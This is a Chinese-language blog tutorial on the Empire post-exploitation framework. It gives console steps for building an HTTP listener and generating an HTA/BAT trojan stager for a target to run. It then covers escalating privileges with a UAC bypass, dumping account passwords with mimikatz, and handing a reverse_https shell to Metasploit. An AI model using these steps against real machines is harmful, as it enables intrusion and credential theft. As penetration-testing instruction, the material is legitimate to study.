后渗透工具Empire使用教程

一、前言

Empire是一个PowerShell后期漏洞利用代理工具同时也是一款很强大的后渗透测神器,它建立在密码学、安全通信和灵活的架构之上。Empire实现了无需powershell.exe就可运行PowerShell代理的功能。快速部署后期漏洞利用模块,从键盘记录器到Mimikatz,并且能够适应通信躲避网络检测,所有的这些功能都封装在一个以实用性为重点的框架中

二、empire使用详解

1.Empire 的安装

git clone https://github.com/EmpireProject/Empire.git

unzip Empire-master.zip

cd  Empire-master

cd setup/

./install.sh

(最后输入数据库密码)

2.设置监听

cd  Empire-master

./empire

(Empire) > help #主菜单帮助命令

 

(Empire) > listeners #查看本地监听代理地址,现在还没有会话代理,所以为空

 

进入后需要使用监听种类,输入 uselistener 加空格然后两下 tab 可列出所有的可使用监听类,这里我们使用 http

 

(Empire: listeners) > info #列出详细信息

 

(Empire: listeners) > set Name bk #设置Name为bk

(Empire: listeners) > execute #执行命令,这条命令将其name设置生效

 

至此,监听工作完成。我们开始配置生成后门。

3、生成木马

设置好监听后通过 back 命令返回上一级,然后使用 usestager 命令来指定生成木马的类型,通过空格加两下 tab 可查看所有生成文件的类型,这里我们使用 windows/hta,即 windows 平台下的 hta文件,同样,通过 info 查看此模块的详细信息。

(Empire: listeners/http) > back #返回上层模块

 

(Empire: listeners/http) > usestager #空格加两下tab

 

生成的文件类型大体有三类,multi 开头的是通用类,osx 开头即 mac 使用,windows 即 win 平台使用。

(Empire: listeners) > usestager windows/launcher_bat bk  # 选择木马种类

 

这里选择的是hta类型的脚本,当然也可以选择其他的。后面的bk就是刚刚设置的监听,这个模块就是依据监听的配置信息,生成相应的木马,让反弹马找到连接主机。

(Empire: stager/windows/launcher_bat) > info     #查看需要配置的参数信息

 

(Empire: stager/windows/hta > execute  #执行生成木马

 

将代码保存为hta文件,放到服务器上。

 

在目标机器上访问

 

运行命令后,我们回到我们的机器可以看到已经获取到了客户端的一个会话

 

(Empire: stager/windows/launcher_bat) > agents   #查看获取的代理会话

 

一个会话已经建立完成。

(Empire: agents) > rename DPFXWKY9 win10 #更改会话名字

 

(Empire: agents) > interact win10    #和该会话交互

 

我们通过 help 可查看一些命令和一些提供的内网渗透常用的工具

 

4、提权

如果想执行 windows 系统自带的命令,可以通过 shell 加命令的格式,例如查看当前 shell 的权限,我们输入 shell whoami /groups,返回了 medium 即非高权限,如下图:

 

非高权限的话,很多命令使用会有限制,例如 mimikatz,所以下面需要提升权限,这里我们使用 bypassuac,首先 empire 提供了很多使用模块,这里我们通过 usemodule 空格加两下 tab 可查看全部模块,有二百多个,如下图:

 

bypassuac 提权我们使用 usemodule privesc/bypassuac 这个模块,然后 info 查看其信息,如下图:

 

这里我们需要设置的参数还是 Listener,即监听的名称,这里是 bk,如下图:

 

设置后通过 execute 执行,成功后会返回一个新的 shell

 

随后我们通过 agents 查看已有的 shell,username 前带 * 号的就是高权限已经提权成功的 shell。

 

这时 mimikatz 已可以使用,输入 mimikatz 来获取目标账号密码,如下图:

 

通过 mimikatz 获取后,若在内网机器较多,为了查看方便,我们可以通过 creds 命令来直接列出其密码,如下图:

 

5、反弹shell给msf

empire 若需要结合 msf 使用,则可以将得到的 shell 反给 msf,使用模块 code_execution/invoke_shellcode,info 信息如下:

 

这里需要设置下Lhost 和Lport,Lhost 即 msf 所在机器的 ip,Lport 即 msf 监听反弹 shell 的端口,还有一个参数注意下,就是payload,默认值是 reverse_https,这个不用改,我们 msf 设置监听时 payload 需要和其一致,也需要设置成 reverse_https,设置后我们先不执行 execute 命令,先把 msf 监听设置好:

 

msf 的 payload 设置为 windows/meterpreter/reverse_https,Lhost 为本机所在的 ip,Lport 端口和刚才 empire 设置的一样,这里是 4444,然后 exploit 执行监听,这时返回 empire 执行 execute,停一会会看到 msf 已经收到了 shell,如下图:

 

返回 shell 后,我们可以执行 whoami /groups 看下权限,可以看到返回的是高权限的 shell,如下图:

 

posted @ 2020-06-22 23:24  yokan  阅读(6403)  评论(0编辑  收藏  举报